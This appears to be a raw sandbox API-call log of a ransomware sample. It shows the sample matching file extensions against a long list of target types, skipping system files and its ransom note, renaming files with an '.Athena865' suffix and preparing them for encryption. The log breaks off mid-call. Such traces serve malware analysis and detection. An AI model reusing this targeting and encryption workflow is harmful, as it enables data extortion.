[0104.532] lstrlenW (lpString="gdb") returned 3 [0104.532] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0104.532] lstrlenW (lpString="gdb") returned 3 [0104.532] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0104.532] lstrlenW (lpString="grdb") returned 4 [0104.532] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0104.532] lstrlenW (lpString="gwi") returned 3 [0104.532] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0104.532] lstrlenW (lpString="hdb") returned 3 [0104.532] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0104.532] lstrlenW (lpString="his") returned 3 [0104.532] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0104.532] lstrlenW (lpString="ib") returned 2 [0104.532] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0104.532] lstrlenW (lpString="idb") returned 3 [0104.532] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0104.532] lstrlenW (lpString="ihx") returned 3 [0104.533] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0104.533] lstrlenW (lpString="itdb") returned 4 [0104.533] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0104.533] lstrlenW (lpString="itw") returned 3 [0104.533] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0104.533] lstrlenW (lpString="jet") returned 3 [0104.533] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0104.533] lstrlenW (lpString="jtx") returned 3 [0104.533] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0104.533] lstrlenW (lpString="kdb") returned 3 [0104.533] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0104.533] lstrlenW (lpString="kexi") returned 4 [0104.533] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0104.533] lstrlenW (lpString="kexic") returned 5 [0104.533] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0104.533] lstrlenW (lpString="kexis") returned 5 [0104.533] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0104.533] lstrlenW (lpString="lgc") returned 3 [0104.533] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0104.533] lstrlenW (lpString="lwx") returned 3 [0104.533] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0104.533] lstrlenW (lpString="maf") returned 3 [0104.533] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0104.533] lstrlenW (lpString="maq") returned 3 [0104.533] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0104.533] lstrlenW (lpString="mar") returned 3 [0104.533] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0104.533] lstrlenW (lpString="marshal") returned 7 [0104.533] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0104.533] lstrlenW (lpString="mas") returned 3 [0104.533] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0104.533] lstrlenW (lpString="mav") returned 3 [0104.533] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0104.533] lstrlenW (lpString="maw") returned 3 [0104.534] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0104.534] lstrlenW (lpString="mdbhtml") returned 7 [0104.534] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0104.534] lstrlenW (lpString="mdn") returned 3 [0104.534] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0104.534] lstrlenW (lpString="mdt") returned 3 [0104.534] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0104.534] lstrlenW (lpString="mfd") returned 3 [0104.534] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0104.534] lstrlenW (lpString="mpd") returned 3 [0104.534] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0104.534] lstrlenW (lpString="mrg") returned 3 [0104.534] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0104.534] lstrlenW (lpString="mud") returned 3 [0104.534] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0104.534] lstrlenW (lpString="mwb") returned 3 [0104.534] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0104.534] lstrlenW (lpString="myd") returned 3 [0104.534] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0104.534] lstrlenW (lpString="ndf") returned 3 [0104.534] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0104.534] lstrlenW (lpString="nnt") returned 3 [0104.534] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0104.534] lstrlenW (lpString="nrmlib") returned 6 [0104.534] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0104.534] lstrlenW (lpString="ns2") returned 3 [0104.534] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0104.534] lstrlenW (lpString="ns3") returned 3 [0104.534] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0104.534] lstrlenW (lpString="ns4") returned 3 [0104.534] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0104.534] lstrlenW (lpString="nsf") returned 3 [0104.534] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0104.535] lstrlenW (lpString="nv") returned 2 [0104.535] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0104.535] lstrlenW (lpString="nv2") returned 3 [0104.535] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0104.535] lstrlenW (lpString="nwdb") returned 4 [0104.535] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0104.535] lstrlenW (lpString="nyf") returned 3 [0104.535] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0104.535] lstrlenW (lpString="odb") returned 3 [0104.535] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0104.535] lstrlenW (lpString="odb") returned 3 [0104.535] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0104.535] lstrlenW (lpString="oqy") returned 3 [0104.535] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0104.535] lstrlenW (lpString="ora") returned 3 [0104.535] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0104.535] lstrlenW (lpString="orx") returned 3 [0104.535] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0104.535] lstrlenW (lpString="owc") returned 3 [0104.535] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0104.535] lstrlenW (lpString="p96") returned 3 [0104.535] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0104.535] lstrlenW (lpString="p97") returned 3 [0104.535] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0104.535] lstrlenW (lpString="pan") returned 3 [0104.535] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0104.535] lstrlenW (lpString="pdb") returned 3 [0104.535] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0104.535] lstrlenW (lpString="pdm") returned 3 [0104.535] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0104.535] lstrlenW (lpString="pnz") returned 3 [0104.536] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0104.536] lstrlenW (lpString="qry") returned 3 [0104.536] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0104.536] lstrlenW (lpString="qvd") returned 3 [0104.536] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0104.536] lstrlenW (lpString="rbf") returned 3 [0104.536] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0104.536] lstrlenW (lpString="rctd") returned 4 [0104.536] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0104.536] lstrlenW (lpString="rod") returned 3 [0104.536] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0104.536] lstrlenW (lpString="rodx") returned 4 [0104.536] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0104.536] lstrlenW (lpString="rpd") returned 3 [0104.536] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0104.536] lstrlenW (lpString="rsd") returned 3 [0104.536] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0104.536] lstrlenW (lpString="sas7bdat") returned 8 [0104.536] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0104.536] lstrlenW (lpString="sbf") returned 3 [0104.536] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0104.536] lstrlenW (lpString="scx") returned 3 [0104.536] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0104.536] lstrlenW (lpString="sdb") returned 3 [0104.536] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0104.536] lstrlenW (lpString="sdc") returned 3 [0104.536] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0104.536] lstrlenW (lpString="sdf") returned 3 [0104.536] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0104.536] lstrlenW (lpString="sis") returned 3 [0104.536] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0104.536] lstrlenW (lpString="spq") returned 3 [0104.537] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0104.537] lstrlenW (lpString="te") returned 2 [0104.537] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0104.537] lstrlenW (lpString="teacher") returned 7 [0104.537] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0104.537] lstrlenW (lpString="tmd") returned 3 [0104.537] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0104.537] lstrlenW (lpString="tps") returned 3 [0104.537] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0104.537] lstrlenW (lpString="trc") returned 3 [0104.537] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0104.537] lstrlenW (lpString="trc") returned 3 [0104.537] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0104.537] lstrlenW (lpString="trm") returned 3 [0104.537] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0104.537] lstrlenW (lpString="udb") returned 3 [0104.537] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0104.537] lstrlenW (lpString="udl") returned 3 [0104.537] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0104.537] lstrlenW (lpString="usr") returned 3 [0104.537] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0104.537] lstrlenW (lpString="v12") returned 3 [0104.537] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0104.537] lstrlenW (lpString="vis") returned 3 [0104.537] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0104.537] lstrlenW (lpString="vpd") returned 3 [0104.537] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0104.537] lstrlenW (lpString="vvv") returned 3 [0104.537] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0104.537] lstrlenW (lpString="wdb") returned 3 [0104.537] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0104.538] lstrlenW (lpString="wmdb") returned 4 [0104.538] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0104.538] lstrlenW (lpString="wrk") returned 3 [0104.538] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0104.538] lstrlenW (lpString="xdb") returned 3 [0104.538] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0104.538] lstrlenW (lpString="xld") returned 3 [0104.538] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0104.538] lstrlenW (lpString="xmlff") returned 5 [0104.538] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0104.538] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\desktop.ini.Athena865") returned 79 [0104.538] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\desktop.ini" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0104.539] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0104.539] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1120) returned 1 [0104.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0104.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0104.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0104.540] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0104.540] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0104.541] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.541] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x760, lpName=0x0) returned 0x154 [0104.543] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x760) returned 0x100000 [0104.544] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0104.544] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0104.544] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d048 [0104.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0104.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x549d40 [0104.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0104.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x549d40 | out: hHeap=0x4f0000) returned 1 [0104.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0104.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x549d40 [0104.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0104.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x549d40 | out: hHeap=0x4f0000) returned 1 [0104.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0104.545] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0104.545] CloseHandle (hObject=0x154) returned 1 [0104.545] CloseHandle (hObject=0x17c) returned 1 [0104.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0104.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0104.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0104.545] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f41ee0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7f41ee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0104.546] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0104.546] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hydrangeas.jpg", cAlternateFileName="HYDRAN~1.JPG")) returned 1 [0104.546] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0104.546] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0104.546] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2=".") returned 1 [0104.546] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="..") returned 1 [0104.546] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="windows") returned -1 [0104.546] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="bootmgr") returned 1 [0104.546] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="temp") returned -1 [0104.546] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="pagefile.sys") returned -1 [0104.546] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="boot") returned 1 [0104.546] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="ids.txt") returned -1 [0104.546] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="ntuser.dat") returned -1 [0104.546] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="perflogs") returned -1 [0104.546] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="MSBuild") returned -1 [0104.546] lstrlenW (lpString="Hydrangeas.jpg") returned 14 [0104.546] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Hydrangeas.jpg" | out: lpString1="Hydrangeas.jpg") returned="Hydrangeas.jpg" [0104.546] lstrlenW (lpString="Hydrangeas.jpg") returned 14 [0104.546] lstrlenW (lpString="Athena865") returned 9 [0104.546] lstrcmpiW (lpString1="ngeas.jpg", lpString2="Athena865") returned 1 [0104.546] lstrlenW (lpString=".dll") returned 4 [0104.546] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2=".dll") returned 1 [0104.546] lstrlenW (lpString=".lnk") returned 4 [0104.546] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2=".lnk") returned 1 [0104.546] lstrlenW (lpString=".ini") returned 4 [0104.546] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2=".ini") returned 1 [0104.546] lstrlenW (lpString=".sys") returned 4 [0104.546] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2=".sys") returned 1 [0104.546] lstrlenW (lpString="Hydrangeas.jpg") returned 14 [0104.546] lstrlenW (lpString="bak") returned 3 [0104.546] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1 [0104.546] lstrlenW (lpString="ba_") returned 3 [0104.547] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1 [0104.547] lstrlenW (lpString="dbb") returned 3 [0104.547] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1 [0104.547] lstrlenW (lpString="vmdk") returned 4 [0104.547] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1 [0104.547] lstrlenW (lpString="rar") returned 3 [0104.547] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1 [0104.547] lstrlenW (lpString="zip") returned 3 [0104.547] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1 [0104.547] lstrlenW (lpString="tgz") returned 3 [0104.547] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1 [0104.547] lstrlenW (lpString="vbox") returned 4 [0104.547] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1 [0104.547] lstrlenW (lpString="vdi") returned 3 [0104.547] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1 [0104.547] lstrlenW (lpString="vhd") returned 3 [0104.547] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1 [0104.547] lstrlenW (lpString="vhdx") returned 4 [0104.547] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1 [0104.547] lstrlenW (lpString="avhd") returned 4 [0104.547] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1 [0104.547] lstrlenW (lpString="db") returned 2 [0104.547] lstrcmpiW (lpString1="pg", lpString2="db") returned 1 [0104.547] lstrlenW (lpString="db2") returned 3 [0104.547] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1 [0104.547] lstrlenW (lpString="db3") returned 3 [0104.547] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1 [0104.547] lstrlenW (lpString="dbf") returned 3 [0104.547] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1 [0104.547] lstrlenW (lpString="mdf") returned 3 [0104.547] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1 [0104.547] lstrlenW (lpString="mdb") returned 3 [0104.547] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1 [0104.548] lstrlenW (lpString="sql") returned 3 [0104.548] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1 [0104.548] lstrlenW (lpString="sqlite") returned 6 [0104.548] lstrcmpiW (lpString1="as.jpg", lpString2="sqlite") returned -1 [0104.548] lstrlenW (lpString="sqlite3") returned 7 [0104.548] lstrcmpiW (lpString1="eas.jpg", lpString2="sqlite3") returned -1 [0104.548] lstrlenW (lpString="sqlitedb") returned 8 [0104.548] lstrcmpiW (lpString1="geas.jpg", lpString2="sqlitedb") returned -1 [0104.548] lstrlenW (lpString="xml") returned 3 [0104.548] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1 [0104.548] lstrlenW (lpString="$er") returned 3 [0104.548] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1 [0104.548] lstrlenW (lpString="4dd") returned 3 [0104.548] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1 [0104.548] lstrlenW (lpString="4dl") returned 3 [0104.548] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1 [0104.548] lstrlenW (lpString="^^^") returned 3 [0104.548] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1 [0104.548] lstrlenW (lpString="abs") returned 3 [0104.548] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1 [0104.548] lstrlenW (lpString="abx") returned 3 [0104.548] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1 [0104.548] lstrlenW (lpString="accdb") returned 5 [0104.548] lstrcmpiW (lpString1="s.jpg", lpString2="accdb") returned 1 [0104.548] lstrlenW (lpString="accdc") returned 5 [0104.548] lstrcmpiW (lpString1="s.jpg", lpString2="accdc") returned 1 [0104.548] lstrlenW (lpString="accde") returned 5 [0104.548] lstrcmpiW (lpString1="s.jpg", lpString2="accde") returned 1 [0104.548] lstrlenW (lpString="accdr") returned 5 [0104.548] lstrcmpiW (lpString1="s.jpg", lpString2="accdr") returned 1 [0104.548] lstrlenW (lpString="accdt") returned 5 [0104.548] lstrcmpiW (lpString1="s.jpg", lpString2="accdt") returned 1 [0104.548] lstrlenW (lpString="accdw") returned 5 [0104.549] lstrcmpiW (lpString1="s.jpg", lpString2="accdw") returned 1 [0104.549] lstrlenW (lpString="accft") returned 5 [0104.549] lstrcmpiW (lpString1="s.jpg", lpString2="accft") returned 1 [0104.549] lstrlenW (lpString="adb") returned 3 [0104.549] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0104.549] lstrlenW (lpString="adb") returned 3 [0104.549] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0104.549] lstrlenW (lpString="ade") returned 3 [0104.549] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1 [0104.549] lstrlenW (lpString="adf") returned 3 [0104.549] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1 [0104.549] lstrlenW (lpString="adn") returned 3 [0104.549] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1 [0104.549] lstrlenW (lpString="adp") returned 3 [0104.549] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1 [0104.549] lstrlenW (lpString="alf") returned 3 [0104.549] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1 [0104.549] lstrlenW (lpString="ask") returned 3 [0104.549] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1 [0104.549] lstrlenW (lpString="btr") returned 3 [0104.549] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1 [0104.549] lstrlenW (lpString="cat") returned 3 [0104.549] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1 [0104.549] lstrlenW (lpString="cdb") returned 3 [0104.549] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1 [0104.549] lstrlenW (lpString="ckp") returned 3 [0104.549] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1 [0104.549] lstrlenW (lpString="cma") returned 3 [0104.549] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1 [0104.549] lstrlenW (lpString="cpd") returned 3 [0104.549] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1 [0104.549] lstrlenW (lpString="dacpac") returned 6 [0104.549] lstrcmpiW (lpString1="as.jpg", lpString2="dacpac") returned -1 [0104.550] lstrlenW (lpString="dad") returned 3 [0104.550] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1 [0104.550] lstrlenW (lpString="dadiagrams") returned 10 [0104.550] lstrcmpiW (lpString1="angeas.jpg", lpString2="dadiagrams") returned -1 [0104.550] lstrlenW (lpString="daschema") returned 8 [0104.550] lstrcmpiW (lpString1="geas.jpg", lpString2="daschema") returned 1 [0104.550] lstrlenW (lpString="db-journal") returned 10 [0104.550] lstrcmpiW (lpString1="angeas.jpg", lpString2="db-journal") returned -1 [0104.550] lstrlenW (lpString="db-shm") returned 6 [0104.550] lstrcmpiW (lpString1="as.jpg", lpString2="db-shm") returned -1 [0104.550] lstrlenW (lpString="db-wal") returned 6 [0104.550] lstrcmpiW (lpString1="as.jpg", lpString2="db-wal") returned -1 [0104.550] lstrlenW (lpString="dbc") returned 3 [0104.550] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1 [0104.550] lstrlenW (lpString="dbs") returned 3 [0104.550] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1 [0104.550] lstrlenW (lpString="dbt") returned 3 [0104.550] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1 [0104.550] lstrlenW (lpString="dbv") returned 3 [0104.550] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1 [0104.550] lstrlenW (lpString="dbx") returned 3 [0104.550] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1 [0104.550] lstrlenW (lpString="dcb") returned 3 [0104.550] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1 [0104.550] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1 [0104.551] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.Athena865") returned 82 [0104.551] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\hydrangeas.jpg"), lpNewFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.Athena865" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\hydrangeas.jpg.athena865"), dwFlags=0x1) returned 1 [0104.551] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.Athena865" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\hydrangeas.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0104.552] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=595284) returned 1 [0104.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0104.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0104.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0104.552] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, 